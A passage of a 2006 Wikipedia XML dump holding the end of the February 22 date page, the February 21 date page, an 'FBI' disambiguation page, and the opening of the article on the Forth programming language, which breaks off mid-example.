*1950 - [[Julie Walters]], English actress
*1950 - [[Lenny Kuhr]], Dutch singer and [[Eurovision Song Contest]] winner
*[[1952]] - [[Bill Frist]], U.S. senator from Tennessee
*[[1953]] - [[William Petersen]], American actor
*[[1955]] - [[Tim Young]], Canadian ice hockey player
*[[1959]] - [[Kyle MacLachlan]], American actor
*[[1962]] - [[Steve Irwin]], Australian herpetologist and televison personality
*[[1963]] - [[Vijay Singh]], Fijian golfer
*[[1965]] - [[Pat LaFontaine]], American [[ice hockey]] player
*[[1966]] - [[Rachel Dratch]], American actress and comedienne
*1966 - [[Brian Greig]], Australian politician
*[[1967]] - [[Alf Poier]], Austrian comedian
*[[1968]] - [[Bradley Nowell]], American musician and singer for [[Sublime (band)|Sublime]] (d. [[1996]])
*1968 - [[Jeri Ryan]], American actress
*[[1969]] - [[Byron Stroud]], American bassist ([[Fear Factory]])
*[[1971]] - [[Lea Salonga]], Filipina actress and singer
*[[1972]] - [[Claudia Pechstein]], German speed skater
*1972 - [[Michael Chang]], American tennis player
*[[1974]] - [[James Blunt]], British musician
*1974 - [[Chris Moyles]], British DJ
*[[1975]] - [[Drew Barrymore]], American actress
*[[1979]] - [[Brett Emerton]], Australian footballer
*[[1982]] - [[Jenna Haze]], American pornographic actress
*[[1986]] - [[Miko Hughes]], American actor
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[965]] - [[Odo, Duke of Burgundy]]
*[[1071]] - [[Arnulf III, Count of Flanders]] (killed in battle)
*[[1111]] - [[Roger Borsa]], King of Sicily
&lt;!-- Borsa is not a King ! --&gt;
*[[1371]] - King [[David II of Scotland]] (b. [[1324]])
*[[1512]] - [[Amerigo Vespucci (explorer)|Amerigo Vespucci]], Italian merchant and explorer (b. [[1454]])
*[[1627]] - [[Olivier van Noort]], Dutch navigator (b. [[1558]])
*[[1674]] - [[Jean Chapelain]], French writer (b. [[1595]])
*[[1680]] - [[Catherine Monvoisin]], French sorceress
*[[1690]] - [[Charles Le Brun]], French artist (b. [[1619]])
*[[1727]] - [[Francesco Gasparini]], Italian composer (b. [[1661]])
*[[1731]] - [[Frederik Ruysch]], Dutch physician and anatomist (b. [[1638]])
*[[1732]] - [[Francis Atterbury]], English bishop and man of letters (b. [[1663]])
*[[1742]] - [[Charles Rivington]], English publisher (b. [[1688]])
*[[1797]] - [[Karl Friedrich Hieronymus Freiherr von Münchhausen]], German officer and adventurer (b. [[1720]])
*[[1816]] - [[Adam Ferguson]], Scottish philosopher and historian (b. [[1723]])
*[[1875]] - [[Jean-Baptiste Camille Corot]], French painter (b. [[1796]])
*1875 - Sir [[Charles Lyell]], Scottish geologist (b. [[1797]])
*[[1890]] - [[John Jacob Astor III]], American businessman (b. [[1822]])
*1890 - [[Carl Heinrich Bloch]], Danish painter (b. [[1834]])
*[[1892]] - [[Herman Koeckemann]], German Catholic prelate (b. [[1828]])
*[[1903]] - [[Hugo Wolf]], Austrian composer (b. [[1860]])
*[[1913]] - [[Ferdinand de Saussure]], Swiss linguist (b. [[1857]])
*[[1921]] - [[Salim Al-Mubarak Al-Sabah]], Emir of Kuwait (b. [[1864]])
*[[1923]] - [[Théophile Delcassé]], French statesman (b. [[1852]])
*[[1939]] - [[Antonio Machado]], Spanish poet (b. [[1875]])
*[[1943]] - [[Hans Scholl]], German resistance fighter (b. [[1918]])
*1943 - [[Sophie Scholl]], German resistance fighter (b. [[1921]])
*[[1945]] - [[Osip Brik]], Russian writer (d. [[1888]])
*[[1961]] - [[Nick LaRocca]], American jazz musician (b. [[1889]])
*[[1965]] - [[Felix Frankfurter]], Justice of the U.S. Supreme Court (b. [[1882]])
*[[1968]] - [[Peter Arno]], American cartoonist (b. [[1904]])
*[[1976]] - [[Angela Baddeley]], English actress (b. [[1904]])
*1976 - [[Florence Ballard]], American singer ([[The Supremes]]) (b. [[1943]])
*[[1980]] - [[Oskar Kokoschka]], Austrian artist (b. [[1886]])
*[[1983]] - Sir [[Adrian Boult]], English conductor (b. [[1889]])
*[[1984]] - [[Jessamyn West (writer)|Jessamyn West]], American writer (b. [[1902]])
*[[1985]] - [[Alexander Scourby]], American actor (b. [[1913]])
*1985 - [[Efrem Zimbalist]], Russian violinist (b. [[1889]])
*[[1987]] - [[Andy Warhol]], American artist, director, and writer (b. [[1928]])
*[[1994]] - [[Papa John Creach]], American musician
*[[1995]] - [[Ed Flanders]], American actor (b. [[1934]])
*[[1997]] - [[Joseph Aiuppa]], American gangster (b. [[1907]])
*[[1998]] - [[Abraham Ribicoff]], American politician (b. [[1910]])
*[[2000]] - [[Fernando Buesa]], Spanish politician (b. [[1946]])
*[[2002]] - [[Chuck Jones]], American animator (b. [[1912]])
*2002 - [[Jonas Savimbi]], Angolan rebel leader (b. [[1934]])
*[[2004]] -  [[Roque Máspoli]], Uruguayan footballer (b. [[1917]])
*2004 - [[Andy Seminick]], baseball player (b. [[1920]])
*[[2005]] - [[Zdzislaw Beksinski|Zdzis&amp;#322;aw Beksi&amp;#324;ski]], Polish artist (b. [[1929]])
*2005 - [[Simone Simon]], French actress (b. [[1910]])
*2005 - [[Lee Eun Ju]], Korean actress (b. [[1980]])
*2006 - [[Bill Tung]], Hong Kong actor, horse racing commentator (b. [[1933]])

==Holidays and observances==
*[[Roman Catholic Church]] - [[Cathedra Petri|Feast of the Chair of Saint Peter]].
*[[United States]] - [[Washington's Birthday]] (traditionally).
*[[Saint Lucia]] - independence ([[1979]]).
*The [[Scouts|Scouting]] movement celebrates this day as &quot;[[B.-P. day]]&quot; or &quot;[[Founder's Day]]&quot; as it is the shared birthday of the [[Scouts]]' founder [[Sir]] [[Robert Baden-Powell]] and his wife, [[Lady]] [[Olave Baden-Powell]], the [[World Chief Guide]].
*The [[World Association of Girl Guides and Girl Scouts]] celebrates this day as &quot;[[Thinking Day]]&quot; as it is the shared birthday of the [[Scouts]]' founder [[Sir]] [[Robert Baden-Powell]], and his wife, [[Lady]] [[Olave Baden-Powell]], the [[World Chief Guide]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/22 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20060222.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=22 On This Day in Canada]


----

[[February 21]] - [[February 23]] - [[January 22]] - [[March 22]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:22 Februarie]]
[[an:22 de frebero]]
[[ar:22 فبراير]]
[[ast:22 de febreru]]
[[be:22 лютага]]
[[bg:22 февруари]]
[[ca:22 de febrer]]
[[co:22 di frivaghju]]
[[cs:22. únor]]
[[csb:22 gromicznika]]
[[cy:22 Chwefror]]
[[da:22. februar]]
[[de:22. Februar]]
[[el:22 Φεβρουαρίου]]
[[eo:22-a de februaro]]
[[es:22 de febrero]]
[[et:22. veebruar]]
[[fi:22. helmikuuta]]
[[fo:22. februar]]
[[fr:22 février]]
[[fy:22 febrewaris]]
[[ga:22 Feabhra]]
[[gl:22 de febreiro]]
[[he:22 בפברואר]]
[[hr:22. veljače]]
[[hu:Február 22]]
[[ia:22 de februario]]
[[id:22 Februari]]
[[io:22 di februaro]]
[[is:22. febrúar]]
[[it:22 febbraio]]
[[ja:2月22日]]
[[ko:2월 22일]]
[[ku:22'ê reşemiyê]]
[[lb:22. Februar]]
[[lt:Vasario 22]]
[[mk:22 февруари]]
[[nl:22 februari]]
[[nn:22. februar]]
[[no:22. februar]]
[[oc:22 de febrièr]]
[[pl:22 lutego]]
[[pt:22 de Fevereiro]]
[[ro:22 februarie]]
[[ru:22 февраля]]
[[scn:22 di frivaru]]
[[se:Guovvamánu 22.]]
[[sco:22 Februar]]
[[simple:February 22]]
[[sk:22. február]]
[[sl:22. februar]]
[[sq:22 Shkurt]]
[[sr:22. фебруар]]
[[sv:22 februari]]
[[th:22 กุมภาพันธ์]]
[[tl:Pebrero 22]]
[[tr:22 Şubat]]
[[tt:22. Febräl]]
[[uk:22 лютого]]
[[wa:22 d' fevrî]]
[[zh:2月22日]]</text>
    </revision>
  </page>
  <page>
    <title>February 21</title>
    <id>11010</id>
    <revision>
      <id>41947382</id>
      <timestamp>2006-03-02T20:39:02Z</timestamp>
      <contributor>
        <username>Durova</username>
        <id>521374</id>
      </contributor>
      <minor />
      <comment>/* Events */ Sorry, this was the middle of the judges' investigations.  Joan of Arc's trial began March 6.</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=21}}
|}
'''February 21''' is the 52nd day of the year in the [[Gregorian Calendar]]. There are 313 days remaining, 314 in [[leap year]]s.
==Events==
* [[362]] - [[Athanasius]] returns to [[Alexandria]].
* [[1440]] - The [[Prussian Confederation]] is formed.
* [[1543]] - [[Battle of Wayna Daga]] - A combined army of [[Ethiopia]]n and [[Portugal|Portuguese]] troops defeated a [[Muslim]] army led by [[Ahmed Gragn]].
* [[1613]] - [[Michael I of Russia|Mikhail I]] is elected unanimously as [[Tsar]] by a [[Zemsky Sobor|national assembly]], beginning the [[Romanov]] [[dynasty]] of [[Imperial Russia]] .
* [[1743]] - The premiere in [[London]] of [[George Frideric Handel]]'s [[oratorio]], &quot;[[Samson (oratorio)|Samson]]&quot;.
* [[1804]] - The first self-propelling [[steam locomotive]] makes its outing at the [[Pen-y-Darren ironworks]] in [[Wales]]. 
* [[1842]] - [[John J. Greenough]] patents the [[sewing machine]]. 
* [[1848]] - [[Karl Marx]] publishes the [[Communist Manifesto]].
* [[1874]] - The ''[[Oakland Tribune|Oakland Daily Tribune]]'' publishes its first [[newspaper]]. 
* [[1875]] - [[Jeanne Calment]] was born, going on to live for 122 years 164 days, the [[Supercentenarian|longest confirmed lifespan]] for any human being in history.
* [[1878]] - The first [[telephone book]] is issued in [[New Haven, Connecticut]].
* [[1885]] - The newly completed [[Washington Monument]] is dedicated.
* [[1893]] - [[Thomas Edison]] receives two [[U.S.]] [[patent]]s for a &quot;[[Cut Out for Incandescent Electric Lamps]]&quot; and for a &quot;[[Stop Device]]&quot; 
* [[1916]] - [[World War I]]: In [[France]]  the [[Battle of Verdun]] begins.
* [[1925]] - ''[[The New Yorker]]'' publishes its first issue. 
* [[1937]] - Initial flight of the first successful [[flying car]], [[Waldo Waterman|Waldo Waterman's]] [[Waterman Arrowbile|Arrowbile]].
* 1937 - The [[League of Nations]] bans foreign national &quot;[[Unlawful combatant|volunteers]]&quot; in the [[Spanish Civil War]].
* [[1947]] - In [[New York City]] [[Edwin Land]] demonstrates the first &quot;[[instant camera]]&quot;, the [[Polaroid Land Camera]], to a meeting of the [[Optical Society of America]].  
* [[1948]] - [[NASCAR]] is incorporated.
* [[1952]] - [[Language Martyrs' Day]], marking language-revolution in the then [[East Pakistan]] (currently, the independent state of [[People's Republic]] of [[Bangladesh]]).
* 1952 - The [[government]] of [[Winston Churchill]] abolishes [[Identity Cards]] in the [[UK]] to &quot;set the people free&quot;.
* 1952 - In [[East Pakistan]] (Present [[Bangladesh]]) Police opened fire on a procession of students, who demended to establish [[Bangla]] as the [[State Language]], killing four people and starting a country-wide protest which led to the independence of [[Bangladesh]] in [[1971]]. 21st February was later declared as &quot;[[International Mother Language Day]]&quot; by [[UNESCO]].
* [[1953]] - [[Francis Crick]] and [[James D. Watson]] discover the structure of the [[DNA]] molecule.
* [[1960]] - [[Cuba]]n leader [[Fidel Castro]] nationalizes all businesses in [[Cuba]].
* [[1965]] - [[Malcolm X]] is assassinated at the [[Audubon Ballroom]] in [[New York City]] by members of the [[Nation of Islam]]. 
* [[1970]] - [[Swissair Flight 330]]: A mid-air bomb explosion and subsequent crash kills 38 passengers and nine crew members near [[Zürich]], [[Switzerland]].
* [[1971]] - The [[Convention on Psychotropic Substances]] is signed at [[Vienna]]. 
* [[1972]] - [[President of the United States|President]] [[Richard Nixon]] visits the [[People's Republic of China]] to normalize [[Sino-American relations]].
* 1972 - The [[Soviet Union|Soviet]] unmanned [[spaceship]] [[Luna 20]] lands on the [[Moon]].
* [[1973]] - Over the [[Sinai Desert]], [[Israel]]i [[fighter aircraft]] shoot down a [[Libyan Airlines]] jet killing 108. 
* [[1974]] - The long-running [[Japan]]ese [[comic strip]] &quot;[[Sazae-san]]&quot; publishes its final installment in the ''[[Asahi Shimbun]]''.
* 1974 - The last [[Israel]]i soldiers leave the west bank of the [[Suez Canal]] in carrying out a truce with [[Egypt]].
* [[1975]] - [[Watergate scandal]]: Former [[United States Attorney General]] [[John N. Mitchell]] and former [[White House]] aides [[H. R. Haldeman]] and [[John Ehrlichman]] are sentenced to prison.
* [[1981]] - [[Charles Rocket]], portraying the gunshot victim in a [[Saturday Night Live]] parody of the &quot;[[Who Shot J.R.]]&quot; plot on the program [[Dallas (TV series)|Dallas]], said, &quot;I'd like to know who the fuck did it,&quot; during the live feed of the &quot;goodnights&quot; segment. Afterward, everyone except [[Eddie Murphy]] and [[Joe Piscopo]] was fired.
* [[1986]] - [[Nintendo]] released [[The Legend of Zelda]] for the [[Famicom]] in [[Japan]].
* [[1986]] - [[Metallica]] released their 3rd album [[Master of Puppets]].
* [[1988]] - [[Jimmy Swaggart]], on his own [[televangelism]] program being taped in [[Baton Rouge, Louisiana]], confesses that he is guilty of an unspecified sin and will be temporarily leaving the pulpit.
* [[1995]] - [[Serkadji prison mutiny]] in [[Algeria]]; 4 guards and 96 prisoners killed in a day and a half.
* 1995 - [[Steve Fossett]] lands in [[Leader, Saskatchewan]], [[Canada]] becoming the first person to make a solo flight across the [[Pacific Ocean]] in a [[balloon]].
* [[2000]] - [[David Letterman]] returns to [[The Late Show with David Letterman|The Late Show]] over a month after having an emergency quintuple [[heart bypass]] surgery.
* [[2003]] - Over 100 concert goers in Rhode Island [[The Station nightclub fire|die in a fire]] during a performance of the rock band [[Great White (band)|Great White]].
* [[2004]] - The first [[European]] [[political party]] organization, the [[European Greens]], is established in [[Rome]].

==Births==
*[[1484]] - Elector [[Joachim I of Brandenburg]] (d. [[1535]])
*[[1556]] - [[Sethus Calvisius]], German calendar reformer (d. [[1615]])
*[[1621]] - [[Rebecca Nurse]], American accused witch (d. [[1692]])
*[[1675]] - [[Franz Xaver Josef von Unertl]], Bavarian politician (d. [[1750]])
*[[1688]] - Queen [[Ulrike Eleonora of Sweden]] (d. [[1741]])
*[[1705]] - [[Edward Hawke, 1st Baron Hawke]], British naval officer (d. [[1781]])
*[[1721]] - [[John McKinly]], American physician and President of Delaware (d. [[1796]])
*[[1723]] - [[Louis-Pierre Anquetil]], French historian (d. [[1808]])
*[[1728]] - Tsar [[Peter III of Russia]], husband of [[Catherine II of Russia|Catherine the Great]] (d. [[1762]])
*[[1791]] - [[Carl Czerny]], Austrian composer (d. [[1857]])
*[[1801]] - [[John Henry Newman]], English Catholic cardinal (d. [[1890]])
*[[1821]] - [[Charles Scribner]], American publisher (d. [[1871]])
*[[1836]] - [[Léo Delibes]], French composer (d. [[1891]])
*[[1844]] - [[Charles-Marie Widor]], French organist and composer (d. [[1937]])
*[[1865]] - [[John Haden Badley]], English author and school founder (d. [[1967]])
*[[1867]] - [[Otto Hermann Kahn]], German millionaire and benefactor (d. [[1934]])
*[[1875]] - [[Jeanne Calment]], supercentenarian (d. [[1997]])
*[[1880]] - [[Waldemar Bonsels]], German writer (d. [[1952]])
*[[1885]] - [[Sacha Guitry]], Russian dramatist, writer, director, and actor (d. [[1957]])
*[[1893]] - [[Celia Lovsky]], Russian-born actress (d. [[1979]])
*1893 - [[Andrés Segovia]], Spanish guitarist (d. [[1987]])
*[[1895]] - [[Carl Peter Henrik Dam]] Danish biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1976]])
*[[1903]] - [[Fairfax M. Cone]], American advertising executive (d. [[1977]])
*1903 - [[Anaïs Nin]], French writer (d. [[1977]])
*[[1907]] - [[W. H. Auden]], English poet (d. [[1973]])
*[[1910]] - [[Douglas Bader]], British pilot (d. [[1982]])
*1910 - [[Carmine Galante]], Italian-born gangster (d. [[1979]])
*[[1915]] - [[Ann Sheridan]], American actress (d. [[1967]])
*[[1917]] - [[Lucille Bremer]], American actress (d. [[1996]])
*[[1924]] - [[Robert Mugabe]] first [[President of Zimbabwe]]
*[[1925]] - [[Sam Peckinpah]], American director (d. [[1984]])
*[[1927]] - [[Erma Bombeck]], American humorist  (d. [[1996]])
*1927 - [[Hubert de Givenchy]], French fashion designer
*[[1929]] - [[Chespirito|Roberto &quot;Chespirito&quot; Carlos Bolanõs]], Mexican actor, writer, comedian, and songwriter
*[[1933]] - [[Nina Simone]], American singer (d. [[2003]])
*[[1934]] - [[Rue McClanahan]], American actress  
*[[1936]] - [[Barbara Jordan]], American politician (d. [[1996]])
*[[1937]] - King [[Harald V of Norway]]
*1937 - [[Gary Lockwood]], American actor 
*[[1941]] - [[Wong Jim|James Wong]], Hong Kong composer (d. [[2004]])
*[[1942]] - [[Margarethe von Trotta]], German actor, film director, and writer
*[[1943]] - [[David Geffen]], American record producer
*[[1946]] - [[Tyne Daly]], American actress
*1946 - [[Anthony Daniels]], British actor
*1946 - [[Alan Rickman]], English actor
*[[1947]] - [[Olympia Snowe]], American politician
*[[1949]] - [[Jerry Harrison]], American musician
*[[1953]] - [[Christine Ebersole]], American actress
*1953 - [[William Petersen]], American actor
*[[1955]] - [[Sir]] [[Steven Fayburgh]] [[KCMG]], British diplomat
*1955 - [[Kelsey Grammer]], American actor
*[[1958]] - [[Jake Burns]], Northern Ireland singer ([[Stiff Little Fingers]]}
*1958 - [[Mary Chapin Carpenter]], American singer
*1958 - [[Alan Trammell]], baseball player and manager
*[[1961]] - [[Davey Allison]], American race car driver (d. [[1993]])
*1961 - [[Christopher Atkins]], American actor
*1961 - [[Martha Hackett]], American actress
*1961 - [[Chuck Palahniuk]], American writer
*[[1962]] - [[David Foster Wallace]], American writer
*[[1963]] - [[William Baldwin]], American actor
*[[1967]] - [[Leroy Burrell]], American sprinter
*[[1969]] - [[Eric Wilson]], American musician ([[Sublime (band)|Sublime]])
*[[1970]] - [[Michael Slater]], Australian cricketer
*[[1972]] - [[Seo Taiji]], Korean musician
*[[1974]] - [[Ivan Campo]], Spanish footballer
*1974 - [[Roberto Heras]], Spanish cyclist
*[[1975]] - [[Affirmed]], American race horse (d. [[2001]])
*[[1977]] - [[Steve Francis]], [[NBA]] Basketball player
*1977 - [[Kevin Rose]], American television host
*[[1979]] - [[Pascal Chimbonda]], French footballer
*1979 - [[Lonnie Ford]], Arena Football League fullback/linebacker
*1979 - [[Jennifer Love Hewitt]], American actress and singer
*[[1983]] - [[Braylon Edwards]], American football player
*[[1986]] - [[Charlotte Church]], Welsh singer
*[[1987]] - [[Anthony Walker]], British student (d. [[2005]])
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1437]] - King [[James I of Scotland]] (b. [[1394]])
*[[1471]] - [[John of Rokycan]], Czech Catholic archbishop
*[[1513]] - [[Pope Julius II]] (b. [[1443]])
*[[1543]] - [[Ahmed Gragn]], Sultan of Adal
*[[1554]] - [[Hieronymus Bock]], German botanist
*[[1595]] - [[Robert Southwell]], English poet
*[[1668]] - [[John Thurloe]], English Puritan spy (b. [[1616]])
*[[1677]] - [[Baruch Spinoza]], Dutch philosopher (b. [[1632]])
*[[1715]] - [[Charles Calvert, 3rd Baron Baltimore]], Governor of the Province of Maryland (b. [[1637]])
*[[1788]] - [[Johann Georg Palitzsch]], German astronomer (b. [[1723]])
*[[1824]] - [[Eugène de Beauharnais]], son of [[Josephine de Beauharnais|Napoleon's wife, Josephine]] (b. [[1781]])
*[[1846]] - [[Emperor Ninko of Japan]], (b. [[1800]])
*[[1862]] - [[Justinus Kerner]], German poet (b. [[1786]])
*[[1901]] - [[George Francis FitzGerald]], Irish mathematician (b. [[1851]])
*[[1926]] - [[Heike Kamerlingh Onnes]], Dutch physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1853]])
*[[1938]] - [[George Ellery Hale]], American astronomer (b. [[1868]])
*[[1941]] - [[Frederick Banting]], Canadian physician, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1891]])
*[[1944]] - [[Ferenc Szisz]], Hungarian-born race car driver (b. [[1873]])
*[[1945]] - [[Eric Liddell]], Scottish runner (b. [[1902]])
*[[1965]] - [[Malcolm X]], American black activist (b. [[1925]])
*[[1967]] - [[Charles Beaumont]], American writer (b. [[1929]])
*[[1968]] - [[Howard Walter Florey]], Australian-born pharmocologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1898]])
*[[1974]] - [[Tim Horton]], Canadian hockey player (b. [[1905]])
*[[1984]] - [[Michail Aleksandrovich Sholokhov]], Russian writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1905]])
*[[1991]] - Dame [[Margot Fonteyn]], English ballet dancer (b. [[1919]])
*[[1994]] - [[Luis Donaldo Colosio]], Mexican politician (b. [[1948]])
*[[1996]] - [[Morton Gould]], American composer (b. [[1913]])
*[[1999]] - [[Gertrude B. Elion]], American scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1918]])
*[[2002]] - [[John Thaw]], English actor (b. [[1942]])
*2002 - [[Harold Furth]], Austrian-born physicist (b. [[1939]])
*[[2004]] - [[John Charles]], Welsh footballer (b. [[1931]])
*2004 - [[Guido Molinari]], Canadian artist (b. [[1933]])
*[[2005]] - [[Ara Berberian]], American opera singer (b. [[1930]])
*2005 - [[Guillermo Cabrera Infante]], Cuban novelist (b. [[1929]])
*2005 - [[Eugene Scott]], American religious broadcaster (b. [[1929]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
* [[Language Martyrs' Day]] - A day celebrated by [[Bengali]] speaking people for gaining right of [[mother tongue]].
* [[International Mother Language Day]] ([[UNESCO]]).
* [[Catholicism]] - Feast day of [[St Peter Damian]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/21 BBC: On This Day] 
* [http://www.nytimes.com/learning/general/onthisday/20060221.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=21 On This Day in Canada]

----

[[February 20]] - [[February 22]] - [[January 21]] - [[March 21]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:21 Februarie]]
[[an:21 de frebero]]
[[ar:21 فبراير]]
[[ast:21 de febreru]]
[[be:21 лютага]]
[[bg:21 февруари]]
[[bs:21. februar]]
[[ca:21 de febrer]]
[[ceb:Pebrero 21]]
[[co:21 di frivaghju]]
[[cs:21. únor]]
[[csb:21 gromicznika]]
[[cv:Нарăс, 21]]
[[cy:21 Chwefror]]
[[da:21. februar]]
[[de:21. Februar]]
[[el:21 Φεβρουαρίου]]
[[eo:21-a de februaro]]
[[es:21 de febrero]]
[[et:21. veebruar]]
[[eu:Otsailaren 21]]
[[fi:21. helmikuuta]]
[[fo:21. februar]]
[[fr:21 février]]
[[fy:21 febrewaris]]
[[ga:21 Feabhra]]
[[gl:21 de febreiro]]
[[he:21 בפברואר]]
[[hr:21. veljače]]
[[hu:Február 21]]
[[ia:21 de februario]]
[[id:21 Februari]]
[[ie:21 februar]]
[[io:21 di februaro]]
[[is:21. febrúar]]
[[it:21 febbraio]]
[[ja:2月21日]]
[[jv:21 Februari]]
[[ka:21 თებერვალი]]
[[ko:2월 21일]]
[[ku:21'ê reşemiyê]]
[[lb:21. Februar]]
[[lt:Vasario 21]]
[[mk:21 февруари]]
[[ms:21 Februari]]
[[nap:21 'e frevaro]]
[[nl:21 februari]]
[[nn:21. februar]]
[[no:21. februar]]
[[oc:21 de febrièr]]
[[os:21 февралы]]
[[pam:Pebreru 21]]
[[pl:21 lutego]]
[[pt:21 de Fevereiro]]
[[ro:21 februarie]]
[[ru:21 февраля]]
[[scn:21 di frivaru]]
[[sco:21 Februar]]
[[se:Guovvamánu 21.]]
[[simple:February 21]]
[[sk:21. február]]
[[sl:21. februar]]
[[sq:21 Shkurt]]
[[sr:21. фебруар]]
[[sv:21 februari]]
[[te:ఫిబ్రవరి 21]]
[[th:21 กุมภาพันธ์]]
[[tl:Pebrero 21]]
[[tr:21 Şubat]]
[[tt:21. Febräl]]
[[uk:21 лютого]]
[[vi:21 tháng 2]]
[[wa:21 di fevrî]]
[[war:Pebrero 21]]
[[zh:2月21日]]</text>
    </revision>
  </page>
  <page>
    <title>FBI (disambiguation)</title>
    <id>11011</id>
    <revision>
      <id>39697388</id>
      <timestamp>2006-02-15T05:29:33Z</timestamp>
      <contributor>
        <username>Rachel Cakes</username>
        <id>502225</id>
      </contributor>
      <comment>+ FBi Radio</comment>
      <text xml:space="preserve">'''FBI''' may stand for:
* [[Federal Bureau of Investigation]]
* [[Filey Bay Initiative]]
* ''[[The F.B.I.|The F.B.I.]]'' (television series)
* In [[professional wrestling]], the ''[[Full Blooded Italians]]'' [[stable (professional wrestling)|stable]]
* [[The FBI Story]] is a [[1959]] film about the [[Federal Bureau of Investigation]]
* [[Funny Business Inc.]], a Danish comedy promotion/management company
* [[FBi Radio]], a community radio station based in [[Sydney]], [[Australia]]

{{TLAdisambig}}

[[ja:FBI (曖昧さ回避)]]</text>
    </revision>
  </page>
  <page>
    <title>Forth programming language</title>
    <id>11012</id>
    <revision>
      <id>41887111</id>
      <timestamp>2006-03-02T10:45:22Z</timestamp>
      <contributor>
        <username>Alextangent</username>
        <id>310311</id>
      </contributor>
      <minor />
      <comment>/* Hello world */ following Java style</comment>
      <text xml:space="preserve">'''Forth''' is a [[Procedural programming|procedural]], [[stack-oriented programming language|stack-oriented]], [[Reflection (computer science)|reflective]] [[programming language]] and programming environment. It was initially developed by [[Charles H. Moore]] at the US [[National Radio Astronomy Observatory]] in the early [[1970s]], formalized as a programming language in [[1977]], and standardized by [[ANSI]] in [[1994]]. It features both interactive execution of commands (making it suitable as a [[operating system shell|shell]] for systems that lack a more formal [[operating system]]), as well as the ability to compile sequences of commands for later execution. Some Forth versions (especially early ones) compile [[threaded code]], but many implementations today generate [[compiler optimization|optimized]] [[machine language|machine code]] like other language compilers. 

Forth is so named because Moore considered it appropriate for fourth-generation computers (i.e. [[microcomputer]]s), and the system on which he developed it was limited to five-letter filenames. Although the name is not an acronym, it is sometimes spelled in all capital letters, following the customary usage during its earlier years.

==Overview==
Forth offers a standalone programming environment consisting of a [[stack-oriented programming language|stack-oriented]], interactive, incremental [[interpreter (computer software)|interpreter]] and [[compiler]]. Programming is done by extending the language with ''words'' (the term used for Forth [[subroutine]]s), which become part of the language once defined.

Early versions of Forth were implemented with an ''inner interpreter'' tracing [[Threaded code|indirectly threaded]] [[Machine language|machine code]], which yields compact and fast high-level code that can be compiled rapidly.

A character-oriented screen/block mechanism and standard [[Source code editor|editor]] written in Forth provided a file mechanism for creating and storing Forth source code in the early systems, although today most Forths run under a host operating system and use conventional editors and text files.

A typical Forth package will consist of a pre-compiled kernel of the core words, which the programmer uses to define new words for the application. The application, once complete, can be saved as an image, with all new words already compiled. Generally, programmers will extend the initial core with words that are useful to the sorts of applications that they do and save this as their working foundation. 

Forth has been popular for developing [[embedded system]]s and [[instrument control]]s because it is easy to add small machine code definitions to the language and use those in an interactive high-level programming environment.

The logical structure of Forth resembles a [[virtual machine]].  It has been implemented efficiently on modern [[RISC processor]]s, and [[stack machine|processors that use Forth as machine language]] have been produced.  The modular extensible nature of Forth permits many high-level applications such as [[CAD]] systems to be written in Forth.

Forth is used in the [[Open Firmware]] [[booting|boot ROMs]] used by [[Apple Computer|Apple]], [[IBM]], and [[Sun Microsystems]].  It is also used by the [[FreeBSD]] operating system as the first stage boot controller.

Forth is quick to implement and can be [[porting|ported]] at low cost.  A skilled programmer with good tools can port Forth to a new computer architecture in as little as two weeks.  Porting a familiar computer architecture to a new computer is often much faster because only a few drivers are needed.  Even programmers unfamiliar with Forth can use low-quality tools and write a Forth system from scratch in a few months of part-time effort.

One result has been a proliferation of nonstandard Forth systems by hobbyists, often of indifferent quality and with poor documentation.  A newcomer to the language may download a free version from the net, have problems and dismiss the language without further consideration, mistaking a poor implementation for a fundamentally flawed language.  

In contrast, professional implementations are rigorously tested (usually with proprietary test suites), conform to published standards, have manuals and telephone support, and often employ sophisticated optimization techniques to ensure excellent run-time performance.  High-end professional Forth systems are usually delivered with all source code required to recompile themselves.

See also [[List of operating systems]].

==Forth from a programmer's perspective==
Forth relies heavily on explicit use of the [[stack data structure]] and [[reverse Polish notation]] (or RPN, also used on advanced calculators from [[Hewlett-Packard]]).  This notation is also called postfix notation because the operator is placed after its operands, as opposed to the more common [[infix notation]] where the operator is placed between its operands.
The rationale for postfix notation is that it is closer to the machine language the computer will eventually use, and should therefore be faster to execute.  For example, one could get the result of the mathematical expression (25 * 10 + 50) this way:
&lt;blockquote&gt;&lt;tt&gt;
25 10 * 50 + .

&lt;br&gt; ''300''
&lt;/tt&gt;&lt;/blockquote&gt;
This command line first puts the numbers 25 and 10 on the implied stack; the &quot;*&quot; command multiplies the two numbers on the top of the stack and replaces them with their product; then the number 50 is placed on the stack, and the &quot;+&quot; command adds it to the previous product; finally, the &quot;.&quot; command prints the result to the user's terminal.  Even the language's structural features are stack-based.  For example:

 : FLOOR5 ( n -- n' )   DUP 6 &lt; IF DROP 5 ELSE 1 - THEN ;

